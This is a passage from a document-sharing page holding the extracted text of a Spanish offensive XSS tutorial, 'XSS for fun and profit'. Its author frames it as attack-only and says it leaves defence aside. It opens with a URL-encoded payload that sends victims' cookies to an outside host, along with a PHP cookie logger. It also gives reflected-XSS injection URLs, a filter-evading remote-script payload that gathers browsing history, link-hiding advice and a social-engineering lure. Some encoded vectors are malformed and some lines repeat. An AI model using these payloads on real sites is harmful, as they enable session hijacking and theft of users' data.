PDF de programación - XSS for fun and profit SCG09 - spanish

Imágen de pdf XSS for fun and profit SCG09 - spanish

XSS for fun and profit SCG09 - spanishgráfica de visualizaciones

Actualizado el 25 de Marzo del 2020 (Publicado el 5 de Agosto del 2017)
919 visualizaciones desde el 5 de Agosto del 2017
1,3 MB
174 paginas
Creado hace 8a (24/05/2011)
$3Ssion:!
[url=javascript:document.write(unescape('%3C%69%66%72%61%6D%65%
20%77%69%64%74%68%3D%22%30%25%22%20%68%65%69%67%68%74%3D%22%30%25%22%20%73
%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%72%6F%6F%74%73%68%65
%6C%6C%2E%62%65%2E%2F%63%6F%6F%6B%69%65%73
%2E%70%68%70
%3F%63%6F%6F%6B%69%65%3D%27%20%2B%20%64%6F%63
%75%6D%65%6E%74%2E%63%6F
%6F%6B%69%65%20%2B
%20%27%20%66%72%61%6D%65%62%6F%72%64%65%72
%3D%22%30%25%22%3E'))
%3C%3F%70%68%70%20%24%63%6F%6F%6B%69%65
%20%3D%20%24%5F%47%45%54%5B%27%63%
6F%6F%6B%69%65%27%5D%3B%20
%24%68%61
%6E%64%6C%65%72%20%3D%20
%66%6F%70%65%6E
%28%27%63%6F%6F%6B%69
%65%73%2E
%74%78%74%27%2C%20%27%61
%27%29%3B
%20%66%77%72%69
%74%65%28%24%68%61
%6E%64%6C%65%72%2C%20%24
%63%6F%6F%6B%69
%65%2E%22
%5C%6E%22%29
%3B%20
%3F%3E

Presentado en:

SCG09
lord epsylon



“for fun and profit”


.:XSS_Hacking_tutorial_SP

.:hacktivism blackbook_1.0:.

.:Índice:.

1.- Introducción

2.- Tipos de Ataques

5.- Técnicas de ataque

- Reflected Cross Site Scripting (XSS Reflejado)
- Stored Cross Site Scripting (XSS Persistente)
- DOM Cross Site Scripting (DOM XSS)
- Cross Site Flashing (XSF)
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Zone Scripting (XZS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- Denial of Service (XSSDoS)
- Flash! Attack
- Induced XSS
- Image Scripting
- anti-DNS Pinning
- IMAP3 XSS
- MHTML XSS
- Expect Vulnerability

7.- Screenshots

8.- Herramientas

9.- Links

+ Classic XSS - Robando “cookies”
+ XSS Proxy
+ XSS Shell
+ Ajax Exploitation
+ XSS Virus / Worms
+ Router jacking
+ WAN Browser hijacking

- DNS cache poison
- XSS Injected code on server
- Practical Browser Hijacking

6.- XSS Cheats - Fuzz Vectors

3.- Evitando Filtros

4.- PoC examples - Bypassing filters

10.- Bibliografía

11.- Licencia de uso



- Data Control PoC
- Frame Jacking PoC



12.- Autor

.:Introducción :.

(Tipos de Ataques)



.:Introducción:.

En la presentación se exponen tipos de ataques conocidos, formas de evasión de filtros,
diferentes técnicas/finalidades de un atacante y una recopilación de herramientas, links,
ideas y vectores válidos.

El Cross Site Scripting (XSS) es la vulnerabilidad más explotada según la OWASP (Open
Web Application Security Project)

En el XSS se manipula la entrada (input) de parámetros de una aplicación con el objetivo
de obtener una salida (output) determinada que no sea la habitual al funcionamiento del
sistema.

Algunas estadísticas afirman que el 90% de todos los sitios web tienen al menos una
vulnerabilidad, y el 70% de todas las vulnerabilidades son XSS.

A pesar de tratarse de una temática en seguridad algo antigua, aún siguen apareciendo
nuevos vectores de ataque y técnicas que hacen que se encuentra en constante
evolución.

Se trata de un tipo de ataque muy imaginativo.

Existen formas de proteger contra la inyección de código malicioso. La “presentación” no
trata ese punto de vista ;)



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

El ataque Cross-site Scripting (XSS) no persistente; es un tipo de inyección de código
en la que éste no se ejecuta con la aplicación web, pero si se origina cuando la víctima
carga una URL determinada (en el contexto del navegador).

El escenario más común es el siguiente:

- Atacante crea una URL con el código malicioso inyectado y la camufla
- Atacante envía el enlace a la víctima
- La víctima visita en enlace a la web vulnerable
- El código malicioso es ejecutado por el navegador del usuario

Este tipo de ataques generalmente se utilizan para robar las -cookies- de la víctima, secuestrar
el navegador, tratar de acceder al historial de visitas y cambiar el contenido de la web que visita
la víctima.



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

Un ejemplo de XSS Reflected podemos verlo de forma practica en páginas web que
“saludan” de alguna forma al usuario con su nombre de registro.

http://www.tiendavirtual.com/index.php?user=MrMagoo

1) Inyectaremos código para ver la cookie de la víctima. Si estuviera “logueado”
1) Inyectaremos código para ver la cookie de la víctima. Si estuviera “logueado”
en la aplicación, podríamos secuestrar la sesión que la mantiene activa y hacernos pasar por ella.
en la aplicación, podríamos secuestrar la sesión que la mantiene activa y hacernos pasar por ella.

Si al inyectar el código muestra la cookie de sesión en nuestro navegador, el parámetro es vulnerable.

Inyección (sin evasivas):

http://www.tiendavirtual.com/index.php?user=<script>alert(document.cookie);</script>



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

Inyección (filtrando caracteres < > y / en Hex):

http://www.tiendavirtual.com/index.php?user=%3Cscript%3alert(document.cookie);
%3C%2Fscript%3

La aplicación es vulnerable a pesar del filtro y permite inyectar código de forma “reflejada”.



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

“Aprovechando” el vector (Inline Scripting):

http://www.tiendavirtual.com/index.php?user=%3Cscript%
%20a="%3"%20SRC="http://blackbox.psy.net/urls_visited1.js"%3%3C%2Fscript%3

El código (con evasivas) ejecutará de forma remota el script en javascript del sitio web del
atacante. En el ejemplo ejecuta un código malicioso que recopila el historial de la víctima.

- Ya tenemos el vector de ataque.
- Al ser “reflejado” se ejecuta en el contexto del navegador.
- El procedimiento siguiente del ataque incluye ingeniería social con la víctima.
- La url con el código malicioso puede ocultarse con TinyURL (http://tinyurl.com/create.php)

http://tinyurl.com/lf4vo2



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

Ejemplo de vector de ataque “reflejado” en un formulario de búsqueda:

El atacante inyecta el código directamente en el formulario de búsqueda de la aplicación web
(con o sin evasivas).

http://.www.met.police.uk/cgi-bin/htsearch



.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

Ejemplo de vector de ataque “reflejado” en un formulario de login:

El atacante inyecta el código directamente en el formulario de login de la aplicación web (con o
sin evasivas).



.:Stored Cross Site Scripting :.

(OWASP-DV-002)



.:Stored Cross Site Scripting :.

(OWASP-DV-002)

El ataque Cross-site Scripting (XSS) persistente; es un ataque más peligroso que el anterior ya
que ejecuta el código inyectado por el atacante en los navegadores de todos los usuarios que
vistan la aplicación web. Generalmente se produce en aquellas aplicaciones que permiten a los
usuarios guardar algún tipo de dato.

El escenario más común es el siguiente:

- Atacante guarda código malicioso de forma persistente en una web vulnerable
- La víctima se identifica en la aplicación con sus credenciales de usuario
- La víctima visita la web vulnerable
- El código malicioso es ejecutado por el navegador del usuario

Este tipo de vulnerabilidades permite tomar el control del navegador de la víctima, capturar
información sobre sus aplicaciones, realizar un -defacement- del sitio web, -scanear- puertos de
los usuarios de la aplicación web, ejecutar -exploits- basados en el navegador y un mundo
imaginativo de posibilidades.

Un escenario complejo real es el lanzamiento de ataques coordinados sobre una red mediante
el secuestro masivo de navegadores. Permite crear focos para la propagación de gusanos.



.:Stored Cross Site Scripting :.

(OWASP-DV-002)

Un ejemplo de XSS “Stored” podemos verlo de forma practica en páginas web que
contienen foros o permiten dejar comentarios en los artículos.

Otros lugares donde realizar un ataque “persistente” son:

* Perfiles de usuario: en aplicaciones que permiten al usuario gestionar su identidad-
* Carros de compra: aplicaciones que permiten guardar objetos en un carro de compra “virtual”
* Gestores de archivos: aplicaciones qué permiten manejar (subir) archivos
* Configuraciones: aplicaciones que permiten ser configuradas por los usuarios

En esta “presentación”, la inyección de código será a través de un formulario como el siguiente:



.:Stored Cross Site Scripting :.

(OWASP-DV-002)

Para comprobar si la aplicación es vulnerable, podemos insertar un comentario “normal”
utilizando determinados tags de HTML (Inyección de código HTML).

Por ejemplo, podemos poner un texto en negrita <b>

Nos permitirá conocer si es posible insertar código “persistente” dejando un comentario.

En Internet no suele ser tan sencillo.

- Es probable que la web utilice filtros de tags y atributos
- Pseudocódigo que interprete los estilos
- Funciones tipo: strip_tags() preg_replace() str_replace()
- Otras medidas de filtro de inputs [echo htmlspecialchars($nombre);]

De todas maneras, siempre podemos tratar de construir el código necesario para evadir
los filtros y alguna que otra función. Revisar el código. Hay que ser imaginativas ;)



<-------- Vector de Ataque

.:Stored Cross Site Scripting :.

(OWASP-DV-002)

Utilizando ingeniería social el atacante puede escribir un texto que atraiga la atención de las
víctimas. Por ejemplo, utilizando un “asunto/comentario” que pueda ser de interés.

Asunto: New Firefox release (fixed)

Comentario:
All bugs fixed in new Firefox release. Download here: (LINK)

Al tratarse de código inyectado “persistente”, los visitantes del sitio web no tienen porque
enterarse de su ejecución a nivel de aplicación, si el código malicioso está bien construido.

Varios ejemplos en la mente de “un informático en el lado del mal”, de código a inyectar en el
navegador de la víctima, solo por visitar la web qu
  • Links de descarga
http://lwp-l.com/pdf6086

Comentarios de: XSS for fun and profit SCG09 - spanish (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios
Es necesario revisar y aceptar las políticas de privacidad